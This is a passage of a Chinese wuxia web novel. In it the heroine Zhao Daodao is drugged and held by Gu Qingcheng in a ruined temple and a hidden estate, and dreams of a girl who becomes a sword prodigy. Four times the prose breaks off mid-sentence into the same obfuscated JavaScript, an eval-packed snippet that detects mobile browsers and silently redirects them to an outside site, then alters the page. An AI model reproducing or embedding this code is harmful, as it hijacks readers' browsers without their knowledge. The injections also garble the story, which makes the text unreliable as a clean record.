刀锋反着寒光,看着黑漆漆阴森森的十分不祥,令人汗毛耸立。 男人举起双手,额头冷汗直冒,赔笑道,“女侠,大侠,小人有眼不识泰山,不知您要的是不是这个……这信刚才掉在地上,小人本来想还给你的。”他颤抖着从袖中掏出一封信。 赵刀刀一把抽过,看了看信封。 封好的,章还在,没有动过手脚的痕迹。 她将信收好。 男人又用一只手拍打着自己另一只手的手背,拍的手臂通红,“唉,唉,都怪这双手,都怪这双手!” 赵刀刀就静静看他表演。 那人见她既不说话也不走,试探道,“女侠,信也还你了,没什么事那小人先走一步了?” 男人一抱拳正想开溜,又被赵刀刀揪着领子拽了回来。 赵刀刀抬了抬下巴,“说,谁派你来的?” 男人眼珠一转,笑嘻嘻道,“什么人?没人啊,都是小人鬼迷心窍,唉,鬼迷心窍了。” 赵刀刀收回的黑刀隐隐又有拿出来的趋势。 男人连忙求饶道,“女侠,女侠,实在不是小人不想说,只是——” 他满脸惊恐神色,好像真有什么难言之隐,“小人怕说了,喀——” 他伸手做了个抹脖子的动作。 赵刀刀有些好笑,“你还没看清你现在在谁手上?看来是我不够可怕。” “不敢不敢,但是……但是小人真的不敢说。”他闭上眼,脸上露出决然之色。 赵刀刀神色未定地观察他半晌,“你不说也行,带我去找他。” 男人抓耳挠腮地犹豫片刻,看着这边古怪阴森的黑刀,又想起一道令人胆颤的鞭声。 他咬着牙一跺脚,“好吧,好吧!”连连叹气,背也驼了几分。 他畏缩着看了赵刀刀一眼,心想,果然还是不能胃口太大,不该瞒了自己兄弟想赚个满的。 两个人这会一定已经得手了……没想到这姑娘还真是个好手,可惜,可惜! 男人两手互相搓了搓,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232973|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一转道,“女侠跟好了!” 他的脚还有点疼,但丝毫不影响他走得很快。 男人熟稔地走街串巷,一路曲里拐弯,绕过摊贩房屋,稍不留神就容易跟丢。 赵刀刀避让人群,目不转睛,提气紧跟在他一步之内。 如果不是路过的行人面孔都很生,她快忍不住怀疑这人故意带她兜圈子。 柳城漂亮是漂亮,就是怎么每棵树都长得一模一样似的,房子也像,直叫人晕头转向。 男人见她没有落下半点,知道自己这下真跑不掉了,索性断了念想,边走边自我介绍道,“鄙人张三,女侠怎么称呼?” 赵刀刀不知道武洲有多少个张三,总之不会少。 这人油嘴滑舌,此时报的名字肯定也不是真的,这时候还不老实……不过她转念一想,张三是真是假和她有什么关系,反正以后也不会再见,道,“我姓赵。” 张三奉承道,“原来是赵女侠,失敬失敬。” 绕了一个多时辰,终于停下。 他们走到了一处破庙前。 赵刀刀看了看周围,不知这人把她带到哪了,水流声已经完全听不到了。 这里人烟稀少,有些荒凉,庙外面的墙爬满了植物,能看到藤曼遮盖下的破砖。 瓦片也在地上凌乱地掉着,不知是风吹下来还是人干的。 周围一个人都没有。 赵刀刀看向庙门,觉得有些奇怪,一切都是旧的,唯独庙门的把手没什么灰,有谁经常来这? 她问,“你带我到这里做什么?人呢?” 张三推开庙门,探头探脑望庙里瞧去,见没人,放下心来,道,“女侠在这里等着就是,找你的那个人等下就来了,本来她叫我拿了信来这里找她的。” 赵刀刀见他说完又想跑,拦下问,“说清楚,谁找我?” “唉,唉,真不能说,你等着就知道了!真的!” 赵刀刀问,“他真要找我,你为什么还要偷我的信?” 张三叹气道,“赵姑娘,我实话跟你说了吧,你拿着这封信也不一定有用,我张三替你交了不是一样,这样还帮你省事了嘛!” 赵刀刀目光一定,沉声问,“你知道我要找谁?” 张三脚在地上顿来顿去,他以前没见过赵刀刀,但柳城谁不知道那姑娘最讨厌别人叫她的名字,他虽然混的不错,却也不敢挑她的霉头啊! 人虽然没来,但凡事就怕个凑巧,要是被听了去——他背上的鞭伤现在还疼呢!“唉,赵姑娘,我真不能陪你在这里等了,你要找的人就在这,你等着她会来的!我还有事,先走了!” “哎——” 赵刀刀不知缘由,见他实在焦急,最后也没拦。 等人远去。 赵刀刀手一翻,垂眸看着手里灰布缝制的钱袋,颠了颠。 事出有因,张三对这里这么熟,明天一定能找到她吧。 等他明天来找她会还给他的。 她看向破庙。 这庙应当荒废已久,现在只剩她一个了,周围更是安静的出奇。 她不知自己要等的到底是谁。 莫非是要送信的那个人? 赵刀刀将手握上刀柄,她不打算坐以待毙,也不急着进去,先把周围摸个清楚总没坏处。 她在庙外头绕了一圈,没什么怪异之处,也没有碰上人,这才走进破庙。 挥之不散的灰尘浮在空中。 这里荒废的彻底,放佛像的位置只剩下莲座,蒲团积满了灰,没人打扫,地上还有香灰。 庙里还有股挥散不去的香火味。 窗户早没了窗页大敞着,阳光从外面照进来。 赵刀刀绕过佛像,发现佛堂后面还有扇门。 门上暗红的帘子被风吹起,又落下。 赵刀刀掀起帘子,里面没有窗,昏暗的光线令她难以视物,她不适的闭了闭眼。 一眨眼间,她听到了呼吸声。 赵刀刀定睛细看,握刀的手更紧。 她呼吸一窒,看清了。 这是她第三次见到这个人。 一袭红衣,艳丽无边。 砰的一声。 赵刀刀单膝跪地,浑身软弱无力,手已经快握不住刀。 一瞬间心思百转。 她皱着眉闭上眼,低声道,“顾倾城。” 倒了下去。 44. 姑娘 地上的灰尘翻涌半丈高,在赵刀刀周围旋转着飘落。 黑暗中顾倾城弹掉指尖的香料,用帕子擦了擦手。 红裙的衣摆在赵刀刀身上拂过。 顾倾城跨过地上的人,掀起暗红的门帘准备出门,却忽然停下了,眉头微皱。 庙堂里不知何时站着两个黑衣人,他们浑身漆黑,只露出一双眼睛。 “老大让我们过来帮忙。” “他还真守信。”顾倾城冷冷勾起嘴角笑了下。 她走到庙门边,轻轻抬了抬手,“那就把人带上。” “是。” 路上的颠簸没能让赵刀刀清醒半分。 她已陷入最深的睡眠中。 在无尽的绵长的黑暗中,她做了一个梦。 很早以前起,她就经常做这个梦,梦到同一个场景。 刚来到这个世界的时候她也做过这个梦,但随着进入武洲,很少再梦见。 她以为自己已经陌生了,可看到第一束光的时候,她就知道自己又回到了这个梦中。 梦里的一切明明离她很近,仿佛伸手就能触及,却又什么都看不清楚,模糊一片。 赵刀刀觉得这一定是噩梦,因为在梦里什么都看不清,什么都做不了,也没有赵小刀。 她一度觉得这梦除了让她变得暴躁毫无作用。 唯一幸运的是她对这个梦已经熟悉到第一眼就能意识到这只是梦,无能为力的煎熬有所缓解,她渐渐习惯了在梦中等待。 赵刀刀感受着周围,忽然发现这次的梦好像和以往不同。 曾经隔在面前的障碍没了,第一次有了自由的感觉,仿佛她是雾是风,在空中来去自如,十分自在。 还有哪里不一样呢,赵刀刀思考着飘在云端,回顾梦中的每一处细节。 风忽然停了。 有谁的声音传到她耳边,朦胧的说着话。 赵刀刀激动的靠近梦中说话的两人,想听清他们在说什么。 先是一道男声:“喂,别跟着我了。” 接着听见一道轻轻的回应,“嗯。” 男声道,“你再这样我要把送你的糖葫芦拿回来了。” “嗯。” 糖葫芦?难道是个小孩? 赵刀刀觉得很有意思,她听不出第二道声音是男是女,但能从简单的字眼中听出他的固执,光听语气就知道即使拿回去糖葫芦他也会继续跟着。 那个男声问:“好吧,为什么要跟着我?” 沉默片刻,一个小小的声音道:“你是个好人。” 原来是个女孩子。 “小小年纪,你知道什么是好人吗,你再跟着我,等我师父看见,要把你做成药人了!” 怎么一个大男人还欺负小姑娘呢?赵刀刀有些不忿。 小姑娘好像真被吓住了,一阵沉默。 “你知道药人是什么吗,就是会把你做成你手里的糖葫芦哦。” 赵刀刀想了想,虽然她没吃过糖葫芦,但要是有人和她说这种话,可能她一辈子都不会再吃糖葫芦了。 太坏了。 不过药人还可以做成不同形状吗?她第一次听说这种事。 “欸?我忽然发现,你的眼睛……”男声笑了几下。说:“说不定我师父还真能看上你。” 要拜师了吗?赵刀刀不知道为什么也跟着激动起来。 女孩却说:“你可以带我走吗?” “哦,原来你是想离开啊,你想去哪?” “离开……这里,哪里都行。” 男声又在笑,“那我带你去个好地方吧。” 怎么好像是诱拐现场? 赵刀刀想起唐雪和她说过的话本,那种话本里头很多姑娘都是迷迷糊糊被卖了身,挺可怜的。 那两个声音渐渐消失了。 赵刀刀忽然觉得百无聊赖,有些烦躁,明明是她的梦,怎么没人理她呢? 不知道过了多久,又有一个虚弱的声音响起:“糖葫芦?” 有气无力的,发生什么了? 赵刀刀竖起耳朵想听得更仔细些。 “嗯。” 是那姑娘的声音,赵刀刀乐了,原来她没被卖掉。 听声音她好像长大了一些,这次像是她占据上风。 男人咳嗽几声,小声说,“这么大了啊……” 看样子他们很久没见。 女声道:“你……” “想问什么就问吧,反正我现在也没力气跑啦。” 女孩的声音冷静极了,她没有问问题,说,“我可以带你出佩城,四大门派在白玉山脚接头,他们应该找不到这里。” 佩城……?赵刀刀一愣。 “你想救我?” “嗯。” 声音又消失了,但是这一次赵刀刀没有抱怨,她感觉自己的脑子被这两个人整乱了。 梦早在原来的门派就开始了,那时候她没来过这里,为什么会梦到佩城和白玉山? 她想不明白。 还有四大门派……这个她也从未听说。 过了好久,那个声音又来了。 一道气若游丝的声音说,“我跑累了,也不想躲了。” 赵刀刀顾不上疑惑,思绪又被牵扯过来,哀莫大于心死,这个人……要死了吗? 不知道为什么,她也有点伤心了。 在她梦里这个人应该死了好多遍了,她居然现在才知道。 为什么梦里还要死人呢? 赵刀刀猛地坐起,大口呼吸着,眼神过了很久才找回焦距。 她手扶着头缓了会儿,浑身脱力的感觉转好,梦只有醒来那一瞬间是清晰的,很快就如烟消散。 这是哪? 她的手滑到喉头,喉咙很干。 忽然听到咯吱一声,有人进来了。 那人背着光走近来,一度站在阴影中,路过窗边才看的清。 赵刀刀顷刻想起这是什么处境,也知道自己昏迷前没有看错,这是顾倾城。 “你……” 她的声音沙哑到无声,像是石头刮擦着喉咙发出来的,不得不停下来清嗓几声。 顾倾城本来要走过来,又返回一段倒了杯茶给她。拉过凳子坐在床边。 赵刀刀接过,捏着茶杯,盯着茶水半天没动。她现在算是客人吗?有这样待客的吗? 顾倾城笑了笑,“你不用紧张,没毒,喝吧。” 赵刀刀忍了忍,喉咙实在干渴,她硬着头皮喝了。感受着水流顺着喉咙流下,她的嗓音终于正常了些,“我睡了多久?你为什么抓我?” 顾倾城看了她很久,她在柳州也不是没抓过人,就是打过的,也从来没人会梗着脖子问她一句“你干嘛打我”,第一次见这样的,挺新鲜。 顾倾城靠在椅背上,看着她道:“你不是想找人?我帮你一把。” 赵刀刀立刻去摸身上的信。 信还在,她松了口气。 但是信为什么还在? 赵刀刀一下想起了张三,“是你派张三来抢我的信?你为什么没有趁我昏迷拿走它?” 顾倾城听完眉头微皱,抢信? 她随即反应过来,张三一贯自作聪明,知道赵刀刀身上带着一封信,肯定以为那信对她很重要,想知道里面到底有什么消息,以此找她换钱。 不过他不是赵刀刀的对手,估计被摆了一道才乖乖按计划把人带来。 顾倾城想通了,眉头舒展道:“我不想要你的信,我只是想问你一个问题。” “庙里也是吗,你是为了问这个问题迷晕我?” “是。” 赵刀刀沉默了,她觉得局势不妙。 自己现在简直任人宰割,顾倾城却只想问一个问题,什么问题值得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245967|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此大动干戈? 这个问题一定很重要……赵刀刀心头一紧,她刀呢? 她不动声色地环顾四周,没有看到。 顾倾城的视线落在她的腰上,似乎有些怀念。 她问:“你怎么会有这条剑疆?” “啊?” 顾倾城脸色不善,以为赵刀刀装傻。 殊不知赵刀刀一心都在刀上,以为问题全是冲着她的黑刀来的,是真没反应过来问了什么。 顾倾城放慢语气重复道:“你为什么会有这条剑疆?” 赵刀刀顺着她的视线看向腰间,黑色的编绳缠着蓝色腰带,是自己早上绑上的,绳子由两股粗线编织而成,漂亮的绳结已经被磨掉了第一层皮。 她问:“你认识这条剑疆的主人?”是了,顾倾城刚刚就说过,她知道她在找人。 顾倾城见赵刀刀此刻还在装傻充愣,对她的问题不答反问,心中升起一丝怒火,“你跟唐雪还真是好朋友。”她的语调算不上称赞。 顾倾城压下怒意,“先回答我的问题。” 赵刀刀见她全程不提黑刀,反而提起唐雪,心知顾倾城还不知道黑刀的秘密,放下心来,沉着冷静道:“给我的那个人让我找剑疆的主人,你是吗?” 顾倾城没有回答。 “如果你不是,我怎么能告诉你?” 赵刀刀当然知道她不是,她也不可能是。 老板娘让她找的人少说也该是上一辈的角色,顾倾城往上再加十岁都不到那个年纪,她看起来太年轻了。 顾倾城有些牙痒痒,但赵刀刀这样的脾气反而令她想起了另一个人,那个人也是这样,偏执到有些痴傻,她忍下脾气,道:“我认识她。” 赵刀刀眼睛一亮,听着语气人还活着?“你能带我去找她吗?” “不能。” 赵刀刀一愣,“为什么?” “因为你还没有回答我的问题。” 赵刀刀眨了眨眼,“我告诉你之后你万一反悔了呢?” 还不算蠢。 不过敢向她提条件的人,几年来也屈指可数。 顾倾城打量着赵刀刀。 她的目光让赵刀刀有些不适,不知是哪里不对劲,总觉得背脊发凉。 仔细看去,那张笑盈盈的美丽脸蛋上的一双妙目只是轻轻落在她身上而已,或许是一双眼睛生的太大太传神,才让人总是在意。 顾倾城忽然问:“你知道自己被人盯上了么?” 赵刀刀心说你不就是? 旋即她回过味儿来,明白顾倾城是在说城门口那些人,“哦,知道。” 顾倾城拉长了调子,“那就奇怪了……” “什么?” “真可惜,你的朋友神通广大,你都知道了,他们应当也知道了吧,怎么连这点小麻烦都不能帮你解决?” 赵刀刀不在意道,“那又如何?” “你们不是朋友吗?” “是啊。” “这也算朋友?”顾倾城冷笑了一声。 “朋友又不是什么都要帮,我自己能做的事为什么要人帮。” 事实上赵刀刀觉得一路上自己已经被帮了很多了,否则只她一个人,不知何年何月才能顺利来到柳州。 “你们感情真是深厚。”顾倾城面无表情地拍了拍手,道,“既然这么信任他们,那你就在这里等着吧,看看等多久,他们才会来找你。” “又或者,等你想通了来找我,我就放你走。” 顾倾城走到门边,“对了,你的伤刚好,我劝你还是不要乱动为好。” 顾倾城留下一句威胁的话语离开。 赵刀刀被她说的一头雾水,伤?什么伤? 她听到门关闭的声音,立刻开始查看自己身上有没有哪里多出了伤口。 多是旧伤,新伤……她忽然摸到了背后那道伤口。 45. 赎金 顾倾城留下那句话就再也没有出现。 赵刀刀想了一天也没明白她为什么把她关在这里。 但顾倾城显然是不懂她的。 赵刀刀趁着夜色,破坏了门锁溜出房间。 顾倾城太小瞧她了,即使没有刀,这种事她还是做的来的。 她将坏掉的锁假模假样地挂在门上,隐藏气息探寻周围的房间。 片刻后,赵刀刀觉得自己的小心有些多余,因为这地方实在清幽,她转了半天都没遇上一个人,连下午给她送饭那个姑娘都没见到。 可越是安静她越觉得有古怪,依然警惕着闪进下一间无人的空房。 这间屋子很大,光是窗户就开了四五扇。 屋里堆满了书,桌上,地上,书架上,赵刀刀从没在一个人的住处见过这么多书,她拿起一本翻看,里面画着各种奇怪的草叶,她没有看懂,又放回原位。 她绕过书堆,抬头去看,忽然眼前一亮。 一把黑刀正放在一丛书中央! “赵小刀!”她兴奋而小声地呼唤。 黑刀沉默着。 赵刀刀的心凉了半截,怎么又睡着了。 她将黑刀拿起,准备离开这个地方。 这一路出乎预料的顺利,顺利到赵刀刀翻到院门口时还有些不敢置信。 她回头看,身后真的没有一个人跟来。 她不再多想,确认自己身上信和剑缰都带着,就脚一点地向外冲去。 一个时辰后。 赵刀刀沉着脸,抬头看着自己刚出来的院门。 她明明一直在往外跑,不知什么时候又回到了这里。 关着她的院子外面是一片树林,种着的大多是她不认识的花草,而无论她在林中怎么走,最后都会回到起点。 难怪顾倾城这么放心的把她一个人留在这里,也没有带走黑刀。 赵刀刀不死心,又试了几次,即使朝着月亮的方向一直走,她也会回到一开始的地方。 她试着在地上绘出地图,却发现自己根本分不清方向,每回忆一点都十分不确定。 她死心了。 又转身回到自己一开始的那间房。 一连五天,除了送饭的人,赵刀刀没有见过其他人。 赵刀刀试图从这个送饭姑娘身上找到点什么,然而当她试着拦下送饭的姑娘问出口时,才发现这姑娘是个哑巴,说不出话。 赵刀刀悲伤而抱歉地看着她,姑娘笑了笑,麻利地收拾好碗碟,冲她摆摆手就像往常一样离开。 赵刀刀等她走了一会儿才悄悄跟上去,然而不过片刻,她的头又开始疼了。 她明明每一步都按照那姑娘的步子走了,最后还是将人跟丢了,又绕回原地。 赵刀刀叹着气,彻底歇了偷跑的心思。 但她不能一直留在这,五天不见,也不知唐雪他们如何了,暗的出不去,她就来明的。 第二天,赵刀刀叫住准备走的姑娘,一边说一边比划着,“你告诉顾倾城,我想通了。” 那姑娘好像看懂了,点头冲她笑笑,指了指她的刀。 赵刀刀不明所以,那姑娘走近黑刀,双手努力抱起黑刀,冲她比划着要把刀拿走。 “我……”赵刀刀看懂了,她犹豫着张口,最后还是没有阻拦她,任由她拿着黑刀离开。 果不其然,当天她就见到了顾倾城。 依旧是熟悉的红衣,熟悉的发型,时间似乎在她身上停滞了,赵刀刀觉得从第一次见顾倾城起她好像就是这样。 然而她刚开口:“顾……” 就见顾倾城的眼神骤然冷下来,一言不发,似笑非笑地看着她。 赵刀刀立刻把剩下的话咽进肚里。张三说那人讨厌别人叫她名字,原来是真的。 “跟我来。”顾倾城转身便走。 赵刀刀立刻跟上。 这一次她居然没有跟丢,这么多天来,她第一次走出了那个小院,来到一个四角摆满了花的厅堂。 这里又空又大,四面设门,门上挂帘,烛火通明,此刻四扇门都大开着,像个亭子一样通透。 穿堂风刮过,在夏夜里带来一阵沁人心脾的清凉。 赵刀刀在这里待了这么久,恍惚觉得自己也品出了这种四下无人的寂静之美。 顾倾城盘膝跪坐在垫子上,赵刀刀坐在她对面。 两人间隔着很大的一张桌子,桌上有两盏灯,很多盒子整齐摆放,木桌棕中泛黑,有些地方带着奇怪的色泽。 顾倾城的手一直在袖中,此刻慢慢抬起,露出纤纤玉指,在烛火下如上好玉石泛着细细的光泽。 当真手如柔荑,肤如凝脂。 赵刀刀的目光随着那只手落在一个盒子上,只见她轻轻一拨,咔的一声脆响,盒盖抬起了一点角度。 赵刀刀看不到里面有什么,正好奇,那只手如游蛇伸进盒子,取出了一个叠着的手帕,拇指和食指夹着帕子,帕边彻底离开盒子的一瞬间,剩下三只手指行云流水般一拂,盒子又咔的一声,扣上了。 顾倾城抬头看了她一眼,慢慢把帕子展开。 帕子上的香味顺着风传过来,赵刀刀觉得似曾相识。 顾倾城笑了笑,像是知道她想说什么,道:“别担心,说不定闻多了你就不怕了。” “!” 赵刀刀坐立难安,没注意到顾倾城细细看完了手帕上的字,又铺在桌上把帕子褶皱理顺,捏着一角从灯罩上方丢进火里。 劈里啪啦的燃烧声把赵刀刀的游魂儿唤回来一些,她兀自奇怪,难道真是闻多不怕了?怎么自己还好端端的坐着呢?难道这次分量比较轻,还没到发作的时候? 顾倾城不知道从哪个盒子取了小碟和几瓶粉末,把粉末倒在碟子里,拔下头上的细簪,细细搅动着。簪子偶尔会碰到瓷碟边缘,发出哒哒的响。 她随意着轻声道:“骗你的。” 赵刀刀猛地抬头,这人救了她又困住她,带她出来又吓唬她,当真恶劣。 如果说唐雪的捉弄是无伤大雅单纯为了好玩,那么顾倾城的捉弄就是满怀恶意想看别人痛苦纠结的模样。 赵刀刀抿了抿唇。 顾倾城搅动粉末的手慢而稳,仿佛这动作她已做了上万遍。 她做这事时没有说话,很认真。 就像和尚整日木鱼敲个不停修炼心性,这是她的修行。 赵刀刀看不透这个人,她一直觉得顾倾城好像是个好人,但又憋着什么坏,然而她此刻专注认真的模样,却仿佛已经超脱世俗无喜无悲。 这里太安静了,听着哒哒声,赵刀刀恍然间觉得周遭一切,如烛火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266591|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如门帘,如院中流水,鲜花嫩叶,甚至连胸膛中的心脏也随着这声音一起一伏。 躁动的情绪平复下来,一时竟也不忍打破这种平静。 顾倾城意外于赵刀刀的安静。她那么想离开这里,急迫地日日尝试,现在机会就在眼前,居然能安静地坐着。 顾倾城垂着眸子,这地方本来不该赵刀刀来的,但是自己竟鬼使神差就将她带来了。 一切与她一开始想的都经背道而驰。 她本打算问出话取了剑疆就把赵刀刀关着。 她还想过,如果放出去之前再在赵刀刀的身上添几道伤痕,唐雪或许会更伤痛欲绝一些,那样也不错。 正如爱屋及乌,她对唐雪周围的一切都有着恶其余胥的不喜。 可她却什么都没做。 或许是因为某个瞬间,赵刀刀真的让她想起师父了。 顾倾城将簪子在瓷碟边缘轻磕两下,放在一边,慢慢把一切归位。 正在此刻,赵刀刀忽然听见了一道熟悉的声音,将她从沉寂的状态中惊醒。 “刀刀?” 那是赵小刀的声音。 赵刀刀心神一震,不动声色地探寻四周,只见两扇门的阴影处,一把黑刀斜靠着。 灯火晃晃终有照不到的地方,黑刀更是容易在暗中无影无踪,如果不是她的刀会说话,也不知什么时候才能发觉,他们已经相见。 赵刀刀嘴唇微动,又觉得不妥,牙关紧咬,强行压下心中喜悦。 赵小刀与她相伴已久,自是心有灵犀,道:“我没事,就是最近睡得太过,你试着问她点什么。” 确实不能一直这样坐以待毙。 赵刀刀清了清嗓子,问,“你为什么要把我留在这呢?” 顾倾城看她一眼,道:“因为你是个闲人。” “什么?” “人人都有自己的事要做,但你偏生是个无亲无故的闲人,你要是普普通通也罢了,但你身手还不错,心肠嘛……也还行。”顾倾城轻笑一声,“你这种人最喜欢多管闲事。” 听她这么一说,好像还挺有道理?赵刀刀换了个话题,斟酌道,“其实你问的那个问题,我也很想回答你,但我身负所托,必须亲手把剑缰和信交给那个人,不如你带我去找她,这样你的问题也会有答案了。” 顾倾城漫不经心道,“好啊。” “啊?”赵刀刀不敢相信她居然这么轻松就同意了,“那我们何时去找她?” “不急,等着就是了。” “我已经在这里待了很久了,还要等多久?” “看天意。” 赵刀刀哑然,这和没答应有什么区别,顾倾城在搪塞她?“天意是什么,你的心情?” 顾倾城收拾好东西放到一旁,“当然不,我答应的事一定会做到,现在还不是见她的时候,等到时候了我会来找你的。” 赵刀刀敏锐地从她的话语中意识到什么,“你要放我走?” “你不想?” “不不不,我当然想,只是……为什么?” 顾倾城淡淡道,“有人来赎你了。” 赵刀刀闻言一愣,下一秒却又感到一股熟悉的天旋地转。 顾倾城明明说要放人,怎么故技重施?! 她瞪大的眼睛下一秒又闭上了。 46. 梦中 又是那个梦。 赵刀刀与这位老朋友打交道已久,从没占过半点便宜,下意识有些烦躁,正打算王八念经,不听不听,却被一抹青色吸引过去。 上次的梦有了声音,这次的梦竟然能看见鲜明的颜色了。 她仍与梦中人隔着一层迷雾,但雾已经薄了很多,如果下次雾再散一些,很快她就能看清这个笼罩自己多年的噩梦究竟是什么了。 赵刀刀无父无母,她曾想过,这些藏在梦境深处的秘密或许与她的身世有关。 可以前的梦始终朦胧遥远,一成不变,她不得不放下了这个念头。 没想到有朝一日梦境居然会发生变化,她满怀激动,试图靠得更近。 一抹青色的人影正站在一个灰色的团子前面。 青衣人抬了下手,随着他的动作,赵刀刀听见叮叮两声,还有钱币转动这落下的声音。 他似乎扔了几枚铜钱在碗中。 声音在碗中盘旋,灰团子前面一点白色的东西像是碗。 赵刀刀不解间,地上的灰团子动了动,站起来,原来他也是人。 青衣人转身离开,那团子灰色过了好久,也跟了上去。 他只到赵刀刀腰间,是个小人。 赵刀刀就这样看着青衣人走远。 期间灰团子隔了段距离跟在他身后,他人小腿短,有时候还要往前跑才跟得上。 赵刀刀觉得有趣,这团子自以为躲藏的很好,没被发现,其实破绽百出,若不是青衣人几番停下来,他根本不可能一直跟上。 青衣人是谁呢,这小孩又是谁,他为什么让他跟着? 青衣人的脚步停在一堆红色的东西旁边,从中拿了一点红色下来,细长的,像是一颗一颗串起。 赵刀刀看着那形状猜出大概,她在水城和柳城都见过这种东西,是糖葫芦。 忽然,赵刀刀的心提起来了。 青衣人转身了。 那团子要被发现了? 灰团子在第一时间躲到树后,她忍不住跟着紧张。 青衣人笑了一声,慢慢走近那颗树。 随着他渐渐逼近,灰团子又缩成了一团,赵刀刀几乎听见了自己的心跳。 青衣人没有再装作看不见,他找到了灰团子。 灰团子有些丧气的站起来。 赵刀刀想到之前灰团子的处境,不由替他揪心,自己梦中的人怎么都这样惨。 却见灰衣人把手中的糖葫芦塞到了灰团子手中。 那点红在灰色的背景下鲜艳至极。 “拿好了,别再跟着我了。” 一道干净的男声响起。 赵刀刀一愣,灰衣人竟是梦中那个男声? 那灰团子……莫非是那个女声? 果然,她听到一声熟悉的“嗯”。 是那个小姑娘。 她每次梦到的都是这两人,赵刀刀更确认这个梦一定与自己有关。 青衣人转身便走,不出所料,即使刚刚才答应下来,灰姑娘还是拿着手里的糖葫芦跟了上去。 “喂,别跟着我了。”青衣人又停下了。 这句话赵刀刀听过,青衣人的语气和上次梦中所闻分毫不差。 一直到他说出那句“那我带你去个好地方吧”,四周的景色忽然变了。 不再是街上,青衣人好像把灰姑娘带到了什么地方,此后两人就分开了。 这地方人少,很空很大,令人觉得寒冷,灰姑娘站在原地等了很久,才有人引她离开。 接着时间过得飞快,日月流转,四季变换,赵刀刀看到她跪下叫师父,看到她长高,看到她躺在床上又缩成灰色的小小一团,颤抖着啜泣不止。 赵刀刀来不及为她拜师欣喜,便随着她的哭声抿下嘴角。 她能体会练功的艰辛,更知道没有朋友的孤独,这一刻,她在这个灰团子身上看到了过去的自己。 但她大约比自己更可怜,因为自始至终,都不会出现一把陪着她的黑刀。 “不要哭,我也是……你的朋友。” 赵刀刀第一次在梦里说话。 她的声音又低又轻,怕惊扰梦境,又怕灰团子无法听到。 梦是虚无的,此时的情感却如此真实,赵刀刀毫不怀疑世上真的有这样一个人存在。 或许在她没有意识到的时候,她就一次又一次地见证了这个灰团子的一生。 她伸出手想拍拍她的背,手却径直穿过这团灰色。 她的手悬在半空,慢慢收了回来。 灰姑娘开始练武了,随着剑术越来越熟练,她的气质也越发生人勿近,话少的出奇。 如果不是见过她说话的样子,赵刀刀也要以为她是个哑巴了。 她的生活开始变得相同,从那之后赵刀刀再也没有见她哭过。 日复一日,风吹日晒,这个门派人渐渐多起来,空旷的场地铺上砖石,变了颜色。 唯一不变的是那个在树下练剑的少女。 灰姑娘长得更高,细长一条,换了白衣,也换了更长的剑。 赵刀刀不知她是如何坚持下来的,她似乎不需要朋友,也不需要交谈,独来独往,是这个门派的异类。 直到看见灰姑娘第一次与人交手。 赵刀刀生平第一次感到了惧意。 灰姑娘的眼中没有对手,也无谓输赢,她太专注了,剑在她眼中只是施展剑法的工具,人在她眼中只是磨练剑法的工具,她似乎天生就是为了练剑而生,手下挥出的每一剑都毫无保留,却又精巧无比,仿佛顺着天地之意。 即使看不清她出手,赵刀刀也感受到了那股无所匹敌的气势。她的剑不出鞘则已,一出鞘锋芒毕露,这套剑法已经被她练到极致。 柳城城门那一战中,赵刀刀曾短暂步入随心所至,无招胜有招的境界,而这灰姑娘的每一剑都带着这样的自然之意。 现在限制她的反而成了剑法,门派中无人敌她,这里已教不了她更多。 赵刀刀握紧了拳头,有些惋惜,这样下去,灰姑娘要么另寻师门,换更顶级的功法,要么自创剑招。 这两条路……莫非真是天妒英才,才给她这样无比艰难的两条路? 这对她太不公了,她应该去见更大的世界,如果一开始青衣人带她去更好的地方就好了。 赵刀刀情绪激荡,却只能在一旁看着,无法左右她的命运。 正当她以为灰姑娘会永远无欲无求地练剑时,她却下山了。 灰姑娘停在一扇门前,背负长剑,屈身道:“麻烦了,请把这封信交给陆家主,我有事相询。” 她的声音因为不常说话变得有些怪异。 赵刀刀恍然想起了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281281|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 